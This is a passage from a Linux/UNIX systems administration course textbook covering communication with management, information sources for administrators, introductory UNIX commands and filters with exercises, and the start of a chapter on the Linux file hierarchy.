It's hard. Very hard. If you have any insights or ideas in this area, I'd love to hear them,
and I'm sure the rest of the readers would too.

David Jones and Bruce Jamieson (20/02/25) Page 37

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Communicating with management

Relationships between Systems Administrators and management can be tense

generally because both sides don't understand the importance and problems of the
other. Having good Systems Administrators is essential. As is having good
management. Management is a difficult task which you won't understand or agree
with until you have to perform it.
As a Systems Administrator you should keep in mind that the aims of management
will not be the same as yours. Management is about profit. When you deal with
management keep this in mind.
If you need an upgrade of a machine don't argue it on the basis that the load average is
running at 5 and the disks are full. Argue it on the basis that due to the lack of
resources the sales force can't take orders and the secretaries are loosing documents
which is leading to loss of customers.
Generally Systems Administrators tend to focus on achieving a good technical
solution. This must be balanced with helping the company you are working for make
money.

How not to communicate with users

The Bastard Operator from Hell is a classic (amongst Systems Administrators)
collection of stories about a mythically terrible operator. It provides an extreme view
of a bad system support person and is also quite funny (depending on your sense of
humour). Some of the language may offend some people.

Bastard Operator from Hell

Available on the 85321 Web site under the Resource Materials section for week 1.

Conclusions
Systems Administration is a complex and interesting field requiring knowledge from
most of the computing area. It provides a challenging and interesting career. The
UNIX operating system is an important and available competitor in the current
operating systems market and forms the practical system for this subject.

David Jones and Bruce Jamieson (20/02/25) Page 38

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

Chapter 2
Information Sources

Introduction
As a Systems Administrator you will be expected to fix any and all problems that
occur with the computer systems under your control. For most of us mere mortals it is
simply not possible for us to know everything that is required. Instead the Systems
Administrator must know the important facts and be able to quickly discover any new
information that they don’t yet know. This chapter examines the sources of
information that a Systems Administrator might find useful including
 professional associations ,
 books,
 magazines, and
 the Internet.
As the semester progresses you should become familiar with and use most the
information sources presented here.

Professional organisations
Belonging to a professional organisation can offer a number of benefits including
recognition of your abilities, opportunities to talk with other people in jobs similar to
yours and a variety of other benefits. Most professional organisations distribute
newsletters, hold conferences and many today have mailing lists and Web sites. All of
these can help you perform your job.
Professional organisations a Systems Administrator might find interesting include
 Systems Administrators Guild of Australia (SAGE-AU, http://www.sage-
au.org.au/),
 Systems Administrators Guild(SAGE) (the American version of SAGE-AU,
http://www.usenix.org/sage/),
 Australian UNIX Users Group (AUUG, http://www.auug.org.au/),
 Australian Computer Society (ACS, http://www.acs.org.au/),
 Usenix (http://www.usenix.org.au/),
 Internet Society of Australia (http://www.isoc-au.org.au/)
This list has a distinct Australian, UNIX, Internet flavour with just a touch of the USA
thrown in. If anyone from overseas or from other factions in the computer industry

David Jones and Bruce Jamieson (2/20/25) Page 39

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

(i.e. Novell, Microsoft) has a professional organisation that should be added to this list
please let me know ([email protected]).

Other organisations
The UNIX Guru Universe (UGU http://www.ugu.com/) is a Web site which provides a
huge range of pointers to UNIX related material. It will be used throughout this
chapter and in some of the other chapters in the text.

Professional Associations

The Resource Materials section on the 85321 Web site for week 1 has a page
which contains links to professional associations and user organisations.

The SAGE groups

SAGE stands for Systems Administrators Guild and is the name taken on by a number
of professional societies for Systems Administrators that developed during the early
90s. There are national SAGE groups in the United States, Australia and the United
Kingdom.

SAGE-AU

The Australian SAGE group was started in 1993. SAGE-AU holds an annual
conference and distributes a bi-monthly newsletter. SAGE-AU is not restricted to
UNIX Systems Administrators.
Both SAGE and SAGE-AU have a presence on the WWW. The Professional
Associations page on the 85321 Web site contains pointers to both.

The ACS
The ACS is the main professional computing society in Australia servicing people
from all computing disciplines. The flavour of the ACS is much more business
oriented than SAGE-AU.

The ACS is also moving towards some form of certification of computing

professionals and some jobs may require ACS membership.
For more information refer to the ACS WWW page (http://www.acs.org.au/).

UNIX User groups

There are various UNIX user groups spread throughout the world. AUUG is the
Australian UNIX Users Group and provides information of all types on both UNIX

David Jones and Bruce Jamieson (2/20/25) Page 40

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

and Open Systems. Usenix was one of the first UNIX user groups anywhere and is
based in the United States. The American SAGE group grew out of the Usenix
Association.
Both Usenix (http://www.usenix.org/)and AUUG (http://www.auug.org.au/)have
WWW sites. Both sites have copies of material from the associations’ newsletters.
It should be noted that both user groups have gone beyond their original UNIX
emphasis. This is especially true for Usenix which runs two important
symposiums/conferences on Windows NT.

Useful books and magazines

When a new computing person asks a technical question a common response will be
RTFM. RTFM stands for Read The Fine (and other words starting with f) Manual and
implies that the person asking the question should go away and look at documentation
for the answer.
Not long ago RTFM for a Systems Administrator meant reading the on-line man
pages, some badly written manual from the vendor or maybe, if lucky, a Usenet
newsgroup or two. Trying to find a book that explained how to use cron or how to set
up NFS was a difficult task.
However the last couple of years has seen an explosion in the number of books and
magazines that cover Systems Administration and related fields. The following pages
contain pointers to a number of different bibliographies that list books that may be
useful.

Bibliographies

UNIX, Systems Administration and related books.

The Resource Materials section for week 1, on the 85321 Web site and CD-ROM,
has a collection of pointers to books useful for 85321 and Systems Administrators
in general.

O'Reilly books

Over the last few years there has been an increase in the number of publishers
producing UNIX, Systems Administration and network related texts. However one
publisher has been in this game for quite some time and has earned a deserved
reputation for producing quality books.
A standard component of the personal library for many Systems Administrators is a
collection of O'Reilly books. For more information have a look at the O’Reilly Web
site (http://www.ora.com/).

David Jones and Bruce Jamieson (2/20/25) Page 41

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

Magazines
There are now a wide range of magazines dealing with all sorts of Systems
Administration related issues, including many covering Windows NT.
Magazines

The 85321 Web site contains pointers to related magazines under the Resource
Materials section for week 1.

Internet resources
The Internet is by far the largest repository of information for computing people today.
This is especially true when it comes to UNIX and Linux related material. UNIX was
an essential part of the development of the Internet, while Linux could not have been
developed without the ease of communication made possible by the Internet. If you
have a question, a problem, need an update for some software, want a complete
operating system or just want to have a laugh the Internet should be one of the first
places you look as a Systems Administrator.
So what is out there that could be of use to you? You can find
 software
 discussion forums, and
 information.
Each of these is introduced in more detail in the following sections.

How to use the Internet

By this stage it is assumed that you should be a fairly competent user of the Internet,
the World-Wide Web, email, Usenet news and other net based resources. If you are a
little rusty or haven’t been introduced to many of these tools there are a large number
of tutorials on the Internet that provide a good introduction. A good list of these
tutorials is held on the Yahoo site (http://www.yahoo.com/).

Software on the Internet

There is a large amount of "free" UNIX software available on the Internet. It should be
remembered that no software is free. You may not pay anything to get the software but
you still have to take the time to install it, learn how to use it and maintain it. Time is
money.

David Jones and Bruce Jamieson (2/20/25) Page 42

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

GNU software (GNU is an acronym that stands for GNU's Not UNIX) is probably the
best known "public-domain" software on the Internet. Much of the software, for
example ls cd and the other basic commands, that comes with Linux is GNU
software.
The GNU Manifesto

A copy of the GNU manifesto is available on the 85321 Web site and CD-ROM
under the Resource Materials section for this week.

Discussion forums
Probably the biggest advantage the Internet provides is the ability for you to
communicate with other people who are doing the same task. Systems
Administration is often a lonely task where you are one of the few people, or the only
one, doing the task. The ability to share the experience and knowledge of other
people is a big benefit.
Major discussion forums on the net include
 Usenet news
 Mailing lists
 other discussion tools

Usenet news

An Introduction to Usenet News

If you require it the 85321 Web site and CD-ROM has a reading which provides
an introduction to Usenet News.

Useful newsgroups

Some of the more useful newsgroups for this subject include

 comp.os.linux.*
There are a large number of newsgroups under this heading discussing most Linux
related topics.
 comp.unix.*
Another large collection of newsgroups talking about UNIX in particular. Useful
groups include comp.unix.questions for general UNIX questions and
comp.unix.admin for Systems Administration type questions.
 aus.computer.linux
An Australian Linux newsgroup.
http://www.linuxresources.com/online.html maintains a more detailed description and
list of Linux newsgroups.

David Jones and Bruce Jamieson (2/20/25) Page 43

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

David Jones and Bruce Jamieson (2/20/25) Page 44

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

Exercises

2.1 There is a newsgroup called comp.os.unix. Like many newsgroups this group
maintains an FAQ. Obtain the comp.unix.questions FAQ and answer the
following questions
- find out what the rc stands for when used in filenames such as .cshrc
/etc/rc.d/rc.inet1
- find out about the origins of the GCOS field in the /etc/passwd file

Mailing lists

For many people the quality of Usenet News has been declining as more and more
people start using it. One of the common complaints is the high level of beginners
and the high level of noise. Many experienced people are moving towards mailing
lists as their primary source of information since they often are more focused and have
a “better” collection of subscribers and contributors.
Mailing lists are also used by a number of different folk to distribute information.
For example, vendors such as Sun and Hewlett Packard maintain mailing lists specific
to their operating systems (Solaris and HP-UX). Professional associations such as
SAGE-AU and SAGE also maintain mailing lists for specific purposes. In fact, many
people believe the SAGE-AU mailing list to be the one of the best reasons for joining
SAGE-AU as requests for assistance on this list are often answered within a few hours
(or less).
Mailing lists

One good guide to all the mailing lists that are available is Liszt, mailing list
directory (http://www.liszt.com/).
The UNIX Guru’s Universe also maintains a directory of mailing lists related to
Sys Admin.

Other Discussion Forums

There are also other forums that may be useful for Systems Administrators and make
use of technology other than Usenet news or mailing lists. These forums often use
IRC or Web-based chat facilities.

Information

World-Wide Web

David Jones and Bruce Jamieson (2/20/25) Page 45

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

There is a huge collection of resources for Systems Administration, UNIX and Linux.
The resource materials page on the 85321 Web site contains pointers to some of them.

Anonymous FTP

A good Systems Administrator writes tools to help automate tasks. Most of the really
good tools are freely available and can usually be found via anonymous FTP.

Internet based Linux resources

Linux would not have been possible without the Internet. The net provided the
communications medium by which programmers from around the world could
collaborate and work together to produce Linux. Consequently there is a huge
collection of Internet based resources for Linux.

The Linux Documentation Project

The best place to start is the Linux Documentation Project (LDP). The aim of this
project is to produce quality documentation to support the Linux community. The
original LDP page is located at http://sunsite.unc.edu/mdw/linux.html.
A mirror of the LDP pages is maintained on the 85321 Web site and a copy of these
pages can be found on the 85321 CD-ROM.
A major source of information which the LDP provides are the HOW-TOs. HOW-TOs
are documents which explain how to perform specific tasks as diverse as how to install
and use StarOffice (a commercial office suite that is available free, for evaluation)
through to detailed information about how the Linux boot-prompt works.
The HOW-TOs should be the first place you look for specific Linux information.
Copies are available from the LDP Web pages.

RedHat
This version of the text is written as a companion for RedHat Linux. As a result it
will be a common requirement for you find out information specific to RedHat Linux.
The best source on the Internet for this information is the RedHat site,
http://www.redhat.com/. Most of you may have already referred to this site to find
out about any of the errata for your version of RedHat.

David Jones and Bruce Jamieson (2/20/25) Page 46

85321, Systems Administration Chapter 2: Information Sources for Sys Admin

Conclusions
If at anytime you are having difficulty solving a Systems Administration problem your
first step should be to RTFM. The fine manual might take the form of a book,
magazine, newsletter from a professional organisation, a newsgroup, mailing list or
WWW page. If you need an answer to a question it is probably available from one of
these sources.
Professional organisations for a Systems Administrator includes the ACS, SAGE-AU,
SAGE, Usenix and AUUG. IN particular the SAGE groups are specific to Systems
Administration.

Review Questions
2.1
Find a question from one of the Linux or UNIX newsgroups mentioned in this chapter.
Post the question and your answer to your group's mailing list.

2.2
Examine the errata list for your version of RedHat Linux. Do any of these errata
appear important to your system?

David Jones and Bruce Jamieson (2/20/25) Page 47

85321, Systems Administration Chapter 3: Using UNIX

Chapter 3
Using UNIX

Introduction
A Systems Administrator not only has to look after the computers and the
operating system, they also have to be the expert user (or at least a very
knowledgeable user) of their systems. When other users have problems where
do they go? The documentation? Online help facilities? No, they usually go to
the Systems Administrator.
The following reading aims to start you on the road to becoming an expert
UNIX user. Becoming a UNIX guru can only be achieved through a great
deal of experience so it is important that you spend time using the commands
introduced in this chapter.

Introductory UNIX
Basic UNIX

You will find an introduction to some very basic UNIX concepts under the
Resource Materials section for week 2.

Exercises

3.1 What UNIX commands would you use to

- change to your home directory
- display the list of files in the current directory
- display my name is fred onto the screen
- copy the file tmp.dat from the current directory to the directory
data underneath your home directory and after the file has been
copied delete it
3.2 What will the following UNIX commands do? Don't execute a UNIX
command if you aren't sure what it is going to do. In particular do
not try to execute the first command below.
rmdir ~
cat /etc/passwd
ls ../../fred/doc/tmp

David Jones, Bruce Jamieson (2/20/25) Page 48

85321, Systems Administration Chapter 3: Using UNIX

UNIX Commands are programs

The UNIX commands that have been introduced so far are stored on a UNIX
computer as executable files. Most of the commands you will use in this
chapter are stored in standard binary directories such as /bin /usr/bin
/usr/local/bin. On a system running RedHat version 5.0 there are over
1000 different files in the directories /bin, /usr/bin and /usr/sbin.
Which means over 1000 different commands.

vi

A major task of any user of a computer is editing text files. For a Systems
Administrator of a UNIX system manipulation of text files is a common task
due to many of the system configuration files being text files. The most
common, screen-based UNIX editor is vi. The mention of vi sends shudders
through the spines of some people, while other people love it with a passion.
vi is difficult to learn, however it is also an extremely
powerful editor which can save a Systems Administrator a great
deal of time.

As you progress through this subject you will need an editor. vi is an

anachronistic antique of an editor hated by most people. So why should you
use it? Reasons include
it is very powerful,
How many editors do you know that can take the first 20 characters of
every line in a file and swap them with the second set of 20 characters
(something I've had to do)
it is the only screen editor available on every UNIX system
There will be times when a Systems Administrator cannot use a full screen
editor. At times like this you must resort to single line editors like ed and
ex. vi grew out of the ex editor and so uses many of the same commands.
Learning and using these commands in vi can save you time later on.
As a result of all this it is strongly suggested that you use vi whereever
possible in studying for this unit. Early on you will find using vi a hassle but
sticking with it will be worthwhile in the end.

An introduction to vi

Linux comes with vi as standard. Most distributions also provide you with an
option to install vim. vim is an improved version of vi that includes features
like multiple levels of undo.

David Jones, Bruce Jamieson (2/20/25) Page 49

 85321, Systems Administration Chapter 3: Using UNIX

Using vi

Under the resource materials section for week 2 (on the 85321 CD-ROM
and Web site) contains a number of resources to introduce you to vi
including an introduction and a number of references.

UNIX commands
A UNIX system comes with hundreds of executable commands and programs
(it is quite easy to get to a count of 600 without really looking hard).
Typically each of these programs carries out a particular job and will usually
have some obscure and obtuse name that means nothing to the uninitiated.

Philosophy of UNIX commands

There are no set rules about UNIX commands however there is a UNIX
philosophy that is used by many of the commands.
small is beautiful,
UNIX provides the mechanisms to join commands together so commands
should do one thing well.
10 percent of the work solves 90 percent of the problems,
UNIX was never designed to solve all problems, it was designed to solve
most requirements without too much hassle on the programmer's part.
solve the problem, not the machine,
Commands should ignore any machine specific information and be
portable.
solve at the right level, and you will only have to do it once.
The key to UNIX problem solving is only to do it once e.g. pattern
matching is only implemented once, in the shell, not in every command.

UNIX command format

UNIX commands use the following format

command_name -switches parameter_list
Component Explanation
command_name the name of the actual command, generally this is the name of
the executable program that is the command
-switches The - symbol is used to indicate a switch. A switch modifies
the operation of a command.
parameter_list the list of parameters (or arguments) that the command will
operate on, could be 0, 1 or more parameters, parameters are

David Jones, Bruce Jamieson (2/20/25) Page 50

85321, Systems Administration Chapter 3: Using UNIX

separated by white space characters (space, TAB)

Ta b l e 3 . 1
UNIX command format

David Jones, Bruce Jamieson (2/20/25) Page 51

85321, Systems Administration Chapter 3: Using UNIX

Example commands
ls -l
The switch -l is used to modify the action of the ls command so that it
displays a long listing of each file.
ls -l /etc/passwd / /var
Commands can take multiple parameters.
ls -ld /etc/passwd / /var
Multiple switches can also be used.

Linux commands take multiple arguments

Unlike MS-DOS, UNIX commands can take multiple
arguments.

Exercises

3.3 One of your users has created a file called -tmp? (The command
cat /etc/passwd > -tmp will do it.) They want to get rid of it but
can't. Why might the user have difficulty removing this file? How
would you remove the file?

A command for everything

A fairly intelligent and experienced would be computer professional has just

started using UNIX seriously (he was a student in the very first offering of this
subject). He gets to a stage where he wants to change the name of some files.
Being an MS-DOS junkie from way back what command does he look for?
The rename command of course. It doesn't work! "That's a bit silly!", he
thinks, "You would think that UNIX would have a rename command."
It just so happens that this person has just completed a C programming subject
in which one of the assignments was to write a rename command. So he
spends the next day trying to write and compile this program. After much toil
and trouble he succeeds and follows good administration policy and informs all
the other students of this brand new wonderful program he has written. He
goes into great detail on how to use the command and all the nice features it
includes.
They all write back to tell him about the UNIX command mv (the move
command) that is the UNIX command that is equivalent to rename.

The moral of the story

David Jones, Bruce Jamieson (2/20/25) Page 52

85321, Systems Administration Chapter 3: Using UNIX

The moral of this story is that if you want to do something under UNIX, then
chances are that there is already a command to do it. All you have to do is
work out what it is.

David Jones, Bruce Jamieson (2/20/25) Page 53

85321, Systems Administration Chapter 3: Using UNIX

Online help
UNIX comes with online help called man pages. Man pages are short
references for commands and files on a UNIX system. They are not designed
as a means to learn the commands.
The man pages are divided into different sections. Table 3.2 shows the sections
that Linux uses. Different versions of Linux use slightly different sections.
Section number Contents
1 user commands
2 system calls
3 Library functions
3c standard C library
3s standard I/O library
3m arithmetic library
3f Fortran library
3x special libraries
4 special files
5 file formats
6 games
7 miscellaneous
8 administration and privileged commands
Ta b l e 3 . 2
Manual Page Sections

Using the manual pages

To examine the manual page for a particular command or file you use the man
command. For example if you wanted to examine the man page for the man
command you would execute the command man man.

Is there a man page for...

The command man -k keyword will search for all the manual pages that
contain keyword in its synopsis. The commands whatis and apropos perform
similar tasks.
Rather than search through all the manual pages Linux maintains a keyword
database in the file /usr/man/whatis. If at any stage you add new manual
pages you should rebuild this database using the makewhatis command.
If there is a file you wish to find out the purpose for you might want to try the
–f option of the man command.

David Jones, Bruce Jamieson (2/20/25) Page 54

85321, Systems Administration Chapter 3: Using UNIX

man page format

Each manual page is stored in its own file formatted (under Linux) using the
groff command (which is the GNU version of nroff). The files can be located
in a number of different directories with the main manual pages located under
the /usr/man directory.
Under /usr/man you will find directories with names mann and catn. The n is
a number that indicates the section of the manual. The files in the man
directories contain the groff input for each manual page. The files in the cat
directories contain the output of the groff command for each manual page.
Generally when you use the man command the groff input is formatted and
displayed on the screen. If space permits the output will be written into the
appropriate cat directory.

Some UNIX commands

There are simply too many UNIX commands for this chapter to introduce all,
or even most of them. The aim of the following is to show you some of the
basic commands that are available. To find the remainder you will have to
discover them for yourself. One method for becoming more familiar with the
available commands is to
look at the filenames in the /bin /usr/bin /usr/local/bin
directories,
These are the “binary” directories which contain the exectuable programs
which are the UNIX commands.
take the filename and look at the manual page
Each of the commands will have a manual page which will explain what
the command does and how you can use it.
The commands introduced in this table can be divided into categories based on
their purpose
identification commands,
These commands identify the user or the system.
simple commands,
Perform some simple, non-specific task.
filters.
Filters take some input, modify it and then output it.

David Jones, Bruce Jamieson (2/20/25) Page 55

 85321, Systems Administration Chapter 3: Using UNIX

Command Purpose Command Purpose

date Display the current who display who is
time and date currently on the
computer
banner Display a large cal display a calendar
banner
whoami Displays your cat display the contents
current username of a file
more and less Display the contents head display the first few
of a file a page at a lines of a file
time
tail Display the last few sort sort the content of a
lines of a file file into order
uniq Remove duplicate cut remove columns of
lines from a file characters from a file
paste join columns of files tr translate specific
together characters
grep Display all lines in a wc count the number of
file containing a characters, words
patter and lines in a file
Ta b l e 3 . 3
Basic UNIX commands

Identification Commands

who

Displays a list of people currently logged onto the computer.

dinbig:/$ who
david tty1 Feb 5 14:27

whoami

Displays who the computer thinks you are currently logged in as.
dinbig:/$ whoami
david

uname

David Jones, Bruce Jamieson (2/20/25) Page 56

 85321, Systems Administration Chapter 3: Using UNIX

Displays information about the operating system and the computer on which it
is running

[david@beldin david]$ uname

Linux
[david@beldin david]$ uname –a
Linux beldin.cqu.edu.au 2.0.31 #1 Sun Nov 9 21:45:23 EST 1997 i586
unknown

Simple commands

The following commands are simple commands that perform one particular job
that might be of use to you at some stage. There are many others you'll make
use of.
Only simple examples of the commands will be shown below. Many of these
commands have extra switches that allow them to perform other tasks. You
will have to refer to the manual pages for the commands to find out this
information.

date

Displays the current date and time according to the computer.

dinbig:/$ date
Thu Feb 8 16:57:05 EST 1996

banner

Creates a banner with supplied text.

dinbig:/$ banner -w30 a
##
###### ##
## ## ###
# # #
## ## ##
###########
##

cal

Display a calendar for a specific month. (The Linux version might not work).
bash$ cal 1 1996
January 1996
S M Tu W Th F S
1 2 3 4 5 6
7 8 9 10 11 12 13

David Jones, Bruce Jamieson (2/20/25) Page 57

 85321, Systems Administration Chapter 3: Using UNIX

14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31

Filters
Filters are UNIX commands that take input or the contents of a file, modify
that content and then display the result on output. Later on in this chapter you
will be shown how you can combine these filters together to manipulate text.

cat

The simplest filter. cat doesn't perform any modification on the information
passed through it.
bash$ cat /etc/motd
Linux 1.2.13.

more and less

These filters display their input one page at a time. At the end of each page
they pause and wait for the user to hit a key. less is a more complex filter and
supports a number of other features. Refer to the man page for the commands
for more information.

head and tail

head and tail allow you to view the first few lines or the last few lines of a
file.

Examples
head chap1.html
Display the first 10 lines of chap1.html
tail chap1.html
display the last 10 lines of chap1.html
head -c 100 chap1.html
display the first 100 bytes of chap1.html
head -l 50 chap1.html
display the first 50 lines of chap1.html
tail -c 95 chap1.html
display the last 100 bytes of chap1.html sort

sort

David Jones, Bruce Jamieson (2/20/25) Page 58

85321, Systems Administration Chapter 3: Using UNIX

The sort command is used to sort data using a number of different criteria
outlined in the following table.
Switch Result
-r sort in descending order (default is ascending)
-n sort as numbers (default is as ASCII characters)
When sorting numbers as numbers 100 is
greater than 5. When sorting them as characters
5 is greater than 100.
-u eliminate duplicate lines
+numbern skip number fields
-tcharacter specify character as the field delimiter
Ta b l e 3 . 4
Switches for the sort command

Examples

The following examples all work with the /etc/passwd file. /etc/passwd is
the file that stores information about all the users of a UNIX machine. It is a
text file with each line divided into 7 fields. Each field is separated by a :
character. Use the cat command to view the contents of the file.
sort /etc/passwd
sort in order based on the whole line
sort -r /etc/passwd
reverse the order of the sort
sort +2n -t: /etc/passwd
sort on third field, where field delimiter is : (skip the first two fields)
sort +2n -t: -n /etc/passwd
same sort but treat the field as numbers not ASCII characters

uniq

uniq is used to find or remove and duplicate lines from a file and display
what is left onto the screen. A duplicate to uniq is where consecutive lines
match exactly. sort is often used to get the duplicate lines in a file into
consecutive order before passing it to uniq. Passing a file from one
command to another is achieved using I/O redirection which is explained in a
later chapter.

Examples
uniq names
remove duplicate lines from names and display them on the screen
uniq names uniq.names
remove duplicates lines from names and put them into uniq.names

David Jones, Bruce Jamieson (2/20/25) Page 59

85321, Systems Administration Chapter 3: Using UNIX

uniq -d names
display all duplicate lines

tr

Used to translate specified characters into other characters. tr is used in

conjunction with I/O redirection which is explained in the next chapter. In the
examples below the < character is an I/O redirection character.

Examples
tr a z < /etc/passwd
translate all a's to z's in /etc/passwd and display on the screen
tr '[A-Z]' '[a-z]' < /etc/passwd
translate any character in between A-Z into the equivalent character
between a-z. (make all upper-case characters lower case)
tr -d ' ' < /etc/passwd
delete any single space characters from the file

David Jones, Bruce Jamieson (2/20/25) Page 60

 85321, Systems Administration Chapter 3: Using UNIX

cut

Is used to "cut out" fields from a file. Try cut -c5-10 /etc/passwd. This will
display all the characters between the 5th and 10th on every line of the file
/etc/passwd. The following table explains some of the switches for cut

Switch Purpose
-cRANGE cut out the characters in RANGE
-dcharacter specify that the field delimiter is character
-fRANGE cut out the fields in RANGE
Ta b l e 3 . 5
Switches for the cu t command

RANGE used by the -f and -c switches can take the following forms
number-
get all from character or field number to the end of the line
number-number2
get all from character or field number to character or field number2
number,number2
get characters or fields number and number2
And combinations of the above.

Examples
cut -c1 /etc/passwd
get the first character from every line
cut -c1,5,10-20 /etc/passwd
get the first, fifth character and every character between 10 and 20
cut -d: -f2 /etc/passwd
get the second field
cut -d: -f3- /etc/passwd
get all fields from the third on

paste

This command performs the opposite task to cut. It puts lines back together.
Assume we have two files
names
george
fred
david
janet
addresses
55 Aim avenue

David Jones, Bruce Jamieson (2/20/25) Page 61

 85321, Systems Administration Chapter 3: Using UNIX

1005 Marks road

5 Thompson Street
43 Pedwell road

To put them back together we'd use the command

bash$ paste names addresses
george 55 Aim avenue
fred 1005 Marks road
david 5 Thompson Street
janet 43 Pedwell road
The two fields have been separated by a tab character. To use a different
character you use the -d switch.
bash$ paste -d: names addresses
george:55 Aim avenue
fred:1005 Marks road
david:5 Thompson Street
janet:43 Pedwell road
To paste together lines from the same file you use the -s switch.
bash$ paste -s names
george fred david janet

grep

grep stands for Global Regular Expression Pattern match. It is used to search
a file for a particular pattern of characters.
 grep david /etc/passwd
display any line from /etc/passwd that contains david
To get the real power out of grep you need to be familiar with regular
expressions which are discussed in more detail in a later chapter.

wc

Used to count the number of characters, words and lines in a file. By default it
displays all three. Using the switches -c -w -l will display the number of
characters, words and lines respectively.
bash$ wc /etc/passwd
19 20 697 /etc/passwd
bash$ wc -c /etc/passwd
697 /etc/passwd
bash$ wc -w /etc/passwd
20 /etc/passwd
bash$ wc -l /etc/passwd
19 /etc/passwd

David Jones, Bruce Jamieson (2/20/25) Page 62

 85321, Systems Administration Chapter 3: Using UNIX

For the following exercises create a file called phone.book that contains the
following
george!2334234!55 Aim avenue
fred!343423!1005 Marks road
david!5838434!5 Thompson Street
janet!33343!43 Pedwell road

The field delimiter for this file is ! and the fields are name, phone number,
address.

Exercises

3.4 What command would you use to (assume you start from the original
file for every question)
1. sort the file on the names
2. sort the file in descending order on phone number
3. display just the addresses
4. change all the ! characters to :
5. display the first line from the file
6. display the line containing david's information
7. What would effect would the following command have paste -
d: -s phone.book

Getting more out of filters

The filters are a prime example of good UNIX commands. They do one job
well and are designed to be chained together. To get the most out of filters you
combine them together in long chains of commands. How this is achieved
will be examined in a later chapter when the concept of I/O redirection is
introduced.
I/O redirection allows you to count the number of people on your computer
who have usernames starting with d by using the grep command to find all
the lines in the /etc/passwd file that start with d and pass the output of that
command to the wc command to count the number of matching lines that grep
found.
How you do this will be explained next week.

Conclusions
In this chapter you have been provided a brief introduction to the philosophy
and format of UNIX commands. In addition some simple commands have been
introduced including

David Jones, Bruce Jamieson (2/20/25) Page 63

85321, Systems Administration Chapter 3: Using UNIX

account related commands

login passwd exit
file and directory manipulation commands
cd ls rm mv mkdir
some basic commands
date who banner cal
some filters
cat more less head tail sort uniq cut paste tr grep
A Systems Administrator has to be a "guru". An expert user of their system. A
Systems Administrator should not only to be able to get the most out of the
system but also to be able to explain and assist other users.

David Jones, Bruce Jamieson (2/20/25) Page 64

 85321, Systems Administration Chapter 4: The File Hierarchy

Chapter 4
The File Hierarchy

Introduction

Why?

Like all good operating systems, UNIX allows you the privilege of storing information
indefinitely (or at least until the next disk crash) in abstract data containers called files.
The organisation, placement and usage of these files comes under the general umbrella
of the file hierarchy. As a system administrator, you will need to be very familiar with
the file hierarchy. You will use it on a day to day basis as you maintain the system,
install software and manage user accounts.
At a first glance, the file hierarchy structure of a typical Linux host (we will use
Linux for the basis of our discussion) may appear to have been devised by a demented
genius who'd been remiss with their medication. Why, for example, does the root
directory contain something like:

bin etc lost+found root usr

boot home mnt sbin var
dev lib proc tmp

Why was it done like this?

Historically, the location of certain files and utilities has not always been standard (or
fixed). This has lead to problems with development and upgrading between different
"distributions" of Linux [Linux is distributed from many sources, two major sources
are the Slackware and Red Hat package sets]. The Linux directory structure (or file
hierarchy) was based on existing flavours of UNIX, but as it evolved, certain
inconsistencies developed. These were often small things like the location (or
placement) of certain configuration files, but it resulted in difficulties porting software
from host to host.
To combat this, a file standard was developed. This is an evolving process, to date
resulting in a fairly static model for the Linux file hierarchy. In this chapter, we will
examine how the Linux file hierarchy is structured, how each component relates to the
overall OS and why certain files are placed in certain locations.

David Jones, Bruce Jamieson (2/20/25) Page 65

85321, Systems Administration Chapter 4: The File Hierarchy

David Jones, Bruce Jamieson (2/20/25) Page 66

 85321, Systems Administration Chapter 4: The File Hierarchy

Linux File System Standard

The location and purposes of files and directories on a Linux machine are defined
by the Linux File Hierarchy Standard. The Resource Materials section of the
85321 Web site contains a pointer to it.

The important sections

The root of the problem

The top level of the Linux file hierarchy is referred to as the root (or /). The root
directory typically contains several other directories including:

Directory Contains
bin/ Required Boot-time binaries
boot/ Boot configuration files for the OS loader and kernel image
dev/ Device files
etc/ System configuration files and scripts
home/ User/Sub branch directories
lib/ Main OS shared libraries and kernel modules
Lost+found/ Storage directory for "recovered" files
mnt/ Temporary point to connect devices to
proc/ Pseudo directory structure containing information about the
kernel, currently running processes and resource allocation
root/ Linux (non-standard) home directory for the root user.
Alternate location being the / directory itself
sbin/ System administration binaries and tools
tmp/ Location of temporary files
usr/ Difficult to define - it contains almost everything else
including local binaries, libraries, applications and packages
(including X Windows)
var/ Variable data, usually machine specific. Includes spool
directories for mail and news
Ta b l e 4 . 1
Major Directories

Generally, the root should not contain any additional files - it is considered bad form
to create other directories off the root, nor should any other files be placed there.

David Jones, Bruce Jamieson (2/20/25) Page 67

85321, Systems Administration Chapter 4: The File Hierarchy

Why root?
The name “root” is based on the analogous relationship between the UNIX files
system structure and a tree! Quite simply, the file hierarchy is an inverted tree.
I can personally never visiualise an upside down tree – what this
phrase really means is that the “top” of the file heirarchy is at one
point, like the root of a tree, the bottom is spread out, like the branches
of a tree. This is probably a silly analogy because if you turn a tree
upside down, you have lots of spreading roots, dirt and several
thousand very unhappy worms!
Every part of the file system eventually can be traced back to one central point, the
root. The concept of a “root” structure has now been (partially) adopted by other
operating systems such as Windows NT. However, unlike other operatings systems,
UNIX doesn't have any concept of “drives”. While this will be explained in detail
in a later chapter, it is important to be aware of the following:
The file system may be spread over several physical devices; different parts of the file
heirarchy may exist on totally separate partitions, hard disks, CD-ROMs, network file
system shares, floppy disks and other devices.
This separation is transparent to the file system heirarchy, user and applications.
Different “parts” of the file system will be “connected” (or mounted) at startup; other
parts will be dynamically attached as required.
The remainder of this chapter examines some of the more important directory
structures in the Linux file hierarchy.

Homes for users

Every user needs a home...

The /home directory structure contains the the home directories for most login-
enabled users (some notable exceptions being the root user and (on some systems) the
